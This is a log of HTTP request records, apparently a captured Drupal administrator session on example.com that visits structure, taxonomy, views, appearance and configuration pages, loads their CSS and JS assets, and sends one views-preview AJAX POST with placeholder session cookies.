{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=olivero&include=eJxFjEEOgDAIBD9U7ZsQm4aI0CAa-3uJifU6s7Oo4uX2EzivdjbgGQeZmGQ7EqqVTwI6XeUVSeCiCk4qmSIxCf-zpBxL01xZl_g6vEdVB_6XUzPawfoD-vI22A", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_qhwQ8jvh5-NzL8fRjdtXDUU3Co41JbElOhNplEhbA0U.css?delta=0&language=en&theme=olivero&include=eJxtjkEOwyAMBD8E4U2GWAjF2Mh20vL7ckpy6HVGmt0i7Pj1Eyjteg6grdwkUuPDQhHFVKQPYWS3jeFqFbwJx-gilEFjPt2Fw6NSWxXl1XtYEGoXqqRKklfefK6FeuNXeGjroPOfMlwP97cc8kHFPeYZM0k5gk1z7CmD4Q_pfVgx", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_xXCDbP-RAFtr_qi4RQmy83L1Stl0GIDonFQNXSDjcIM.css?delta=1&language=en&theme=olivero&include=eJxtjkEOwyAMBD8E4U2GWAjF2Mh20vL7ckpy6HVGmt0i7Pj1Eyjteg6grdwkUuPDQhHFVKQPYWS3jeFqFbwJx-gilEFjPt2Fw6NSWxXl1XtYEGoXqqRKklfefK6FeuNXeGjroPOfMlwP97cc8kHFPeYZM0k5gk1z7CmD4Q_pfVgx", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_hu2qYVXcDNCCkSE_yDBAQwtnjk6xIKxwvzSYExQhhJk.js?scope=footer&delta=1&language=en&theme=olivero&include=eJxFjEEOgDAIBD9U7ZsQm4aI0CAa-3uJifU6s7Oo4uX2EzivdjbgGQeZmGQ7EqqVTwI6XeUVSeCiCk4qmSIxCf-zpBxL01xZl_g6vEdVB_6XUzPawfoD-vI22A", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/types", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/types/manage/article", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/types/manage/article/fields", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/taxonomy", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_a0l6DFNDHHdFIetyfjHJ-uIfWwXSO0EmaV_goLTsK6Y.css?delta=0&language=en&theme=claro&include=eJxVjlsOwyAMBC8UwpkcgpBbx4uMqdKevkitRPI7mn0kIUMsgo0kNH8La1kS1PPpnSTu1ivJOkkYxrMNxXJMOCo0q7dV6cWFnKEhOCAbWdi6O_Sn_nvoQecN7EyCckeGeo0q7CDhT17mSOTxx3TYk30BjpRPQg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_BphLjOXn9B0C8-cuBOEKIDKSXP4pW8ECiyxNm922aI0.css?delta=1&language=en&theme=claro&include=eJxVjlsOwyAMBC8UwpkcgpBbx4uMqdKevkitRPI7mn0kIUMsgo0kNH8La1kS1PPpnSTu1ivJOkkYxrMNxXJMOCo0q7dV6cWFnKEhOCAbWdi6O_Sn_nvoQecN7EyCckeGeo0q7CDhT17mSOTxx3TYk30BjpRPQg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_-vK4LyWpDr9lb8GbXxZjkSnHhHJxu3Daihrs4NQA5Sw.js?scope=footer&delta=1&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_0BtosoKuAqM5GtLkuevTJnnLoBkSvptjlR0qQYYDruk.js?scope=footer&delta=3&language=en&theme=claro&include=eJxVzVEKxDAIBNALtc2RikkluCsqxpQev6HsUvInb4YxU92NDFP-HUtRCbyiA6fDuwFvr6xM8m2j4vgPoQSd-ASTHwSsdYMPXLO7Wu4RKhMHZEbHZipt7C0CJ1UIUkk0vruMzms3QydHCQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/taxonomy/manage/tags/overview", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_MzYQPMFC12WkHnUb4AyqSN5rpid4chCag_aR1pChSsQ.js?scope=footer&delta=3&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_VrhKC7-kxWGUIEsCT4AAFSWF6Z4UJH3OTQdHX4_R8pM.css?delta=1&language=en&theme=claro&include=eJxFzdEKwzAIheEXappnOkklyKwWY8q2p1-gg9z-fB6rwC03sQJJPT7C2rZqGvSOAcmHjwuyr5KmePVJnHK18zIljb4rbm4INk0pzKTAUxkRpg_97wSK0OFoT1XzE8Jf2tZ95vnKdeLVfjY9QQ8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_beYwnrkENjJYreCPf0waaN0M5ZTXCT9GLjw5onkeDjw.css?delta=0&language=en&theme=claro&include=eJxFzdEKwzAIheEXappnOkklyKwWY8q2p1-gg9z-fB6rwC03sQJJPT7C2rZqGvSOAcmHjwuyr5KmePVJnHK18zIljb4rbm4INk0pzKTAUxkRpg_97wSK0OFoT1XzE8Jf2tZ95vnKdeLVfjY9QQ8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_FTAfAnA5r42E9GEn9GkVGDPIg8L0IeULw-SoXT7uZoM.js?scope=footer&delta=1&language=en&theme=claro&include=eJxljeEKgCAMhF-o8pFi6pCRzDGn9PhJFBL9O777jvOUdiFB55-whMKGpzXILmoTyNskayY-6lAU3xKCUce7-HADnzEqpD9VrFK4jtnC0CmBUWFH40R5OJNd3Lg9Yg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/taxonomy/manage/tags/overview", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/block", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/js/js_LNOTk1lFh5UgLuvg2TMtESHrajbvYlKejbiPYedl_nM.js?scope=header&delta=0&language=en&theme=claro&include=eJxtjVEKxDAIRC-UbY60aCJFmlUxpuzxN5QtpdA_570ZRF7fxkYZ_0fCpmXL1YdBW47wgBaoH5ZUVIK-MaCd9iKvxrL1WXE6JZTgnQ5x49XVcESo3HAANnLqptLnLgnsvEKwSub5xWV2LvYD225Okg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_SCXoTr9vN6hZiPM6C11NFP3oxLk6RnPB0IqXzA11Yqw.css?delta=0&language=en&theme=claro&include=eJxtjkEOwyAMBD8U4E0GrMaKsZFjoqqvL1VacelxZ0erzazlSNVGB475EyLURrIVFcenD-Bfu0hgkuOcimEq2roKip9R4KIHOKmE4KqcwUIe7iq3-t2ppv0PdsiMO0JFu7moNWB64baGE80PJlNf7A0P1Uwv", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_XNws43iU5klsxMgxmee1XUhMpXK6wUYiEyUy32Zk_Z4.css?delta=1&language=en&theme=claro&include=eJxtjkEOwyAMBD8U4E0GrMaKsZFjoqqvL1VacelxZ0erzazlSNVGB475EyLURrIVFcenD-Bfu0hgkuOcimEq2roKip9R4KIHOKmE4KqcwUIe7iq3-t2ppv0PdsiMO0JFu7moNWB64baGE80PJlNf7A0P1Uwv", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/block", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/views", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css_9jp0Ks7ap-7-ZCIp65X0Z6Dp_lLzTnFyXr9PrernROs.css?delta=0&language=en&theme=claro&include=eJxVj0EOwyAMBD8UwpMqBxBya2xkTJr29UVqJJLraLy7DgQqPpNsQK7Zh5DzEoQtHdaBfNRegdZJ3DBebSiafJBShRNbWxl2zGAo7JyJ0Abqtm4m_FfPHHjCcQMRgSTfkUq9nrJoAcJvWmaJx7FHediTLTumd3t09BAL8np-8wMX8lhJ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css__5y-CaSwUlbXduvNLQPZBVyDUdtabORZbS0ZhFIiGQo.css?delta=1&language=en&theme=claro&include=eJxVj0EOwyAMBD8UwpMqBxBya2xkTJr29UVqJJLraLy7DgQqPpNsQK7Zh5DzEoQtHdaBfNRegdZJ3DBebSiafJBShRNbWxl2zGAo7JyJ0Abqtm4m_FfPHHjCcQMRgSTfkUq9nrJoAcJvWmaJx7FHediTLTumd3t09BAL8np-8wMX8lhJ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/structure/views/view/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/sites/default/files/css/css__5y-CaSwUlbXduvNLQPZBVyDUdtabORZbS0ZhFIiGQo.css?delta=1&language=en&theme=claro&include=eJxtj1sKwzAMBC8Ux0cq69gYtYoUZDl9nL6GBkKgv8Nod7UwTGNlTeDQ_M0kdVpUvLy8g2O2voHnk4RhPNpQrMRF102liLdZsFOFk0oIrsoJFlJ3V_mpRw7ueF1AJrDWKzLd_pw6EpdsOGRRW8H0KdNZHWmsNBnyyaadyrPdOkXklWQ-fvwC-TFgqQ", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "POST", "target": "/admin/structure/views/view/content/preview/page_1?_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": "live_preview=1&view_args=&form_build_id=form-F3rj5YfR2asqg9sweZNjFfkXTvF0TvHucDW4zRpICrQ&form_token=2RiXwzIOzgnAYh4frV_Aykfi5NgGwuk_dGZCLtCUxjg&form_id=view_preview_form&_triggering_element_name=op&_triggering_element_value=Update+preview&_drupal_ajax=1&ajax_page_state%5Btheme%5D=claro&ajax_page_state%5Btheme_token%5D=5e5HEgjfZ80aNQxNU9VRZE4_hDmt-aGjuwXr5qcCy0E&ajax_page_state%5Blibraries%5D=eJxVjlEKgzAQBS9kkiOVF13CtuuuJBurPX1LbRH_hmF4vMzltvBCKf9gGAXVUhHLkNB8F9YyjKZOm3dImmpfIPE04VM82ieplEabF1NSb1GxcoGzaQhuJhk15O5ueqS_HYzOK303Ln5iiJWIO7aLbw6ndlGOLDRVlMOq1RnCLxrOC-nEKNit-7AyPdutc_pDxDSzvgGedGns"}
{"method": "GET", "target": "/admin/structure/menu", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/appearance", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/claro/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/olivero/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/stark/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/themes/default_admin/screenshot.png", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/admin/appearance", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/modules/uninstall", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/system/site-information", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/pages", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/search/path/add", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/content/formats", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/admin/config/content/formats/manage/basic_html", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/assets/vendor/ckeditor5/ckeditor5-dll/ckeditor5-dll.js?v=47.6.3-drupal.1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/admin/config/content/formats/manage/basic_html", "Cookie: SESSexample=example-session-value"], "body": ""}
{"method": "GET", "target": "/core/modules/ckeditor5/icons/redo.svg", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/sites/default/files/css/css_psPaPw47aVeauGJEroVt9ZJCrdzD9yk6tjgLd9RaH3I.css?delta=0&language=en&theme=claro&include=eJx9kkFOxDAMRS9E2xUXAMGKS7iJSa1x7OIkMzCnJ50iVSzqZfyffuxvhwtGqmrPE0lFE-ARYiZ5CifCCExJMko9R2YoFByZNVy-mlY8Z4JGfNm4cyRaW4FzV-EcwlJ6qwRczpnPxlyCITpTLwiRJDmAGt1VKvAHiTMYZUieLNGNlkFScx2YxAmNqTjuhlmv-K6WwaHKorfHbpxMizYL-NZFN7WyYujLeV3AIHTFc6w_7IxdYd7kvgH8rg142s9jPCrDlkz_QA2noHlV6UmXUeBKCSqpDENV5RlsmFutKjv65_Pwjwbpf7VbgyEMhoXuuGuy5cfb8_A-2j1qv316VjY", "Cookie: SESSexample=example-session-value"], "body": ""}
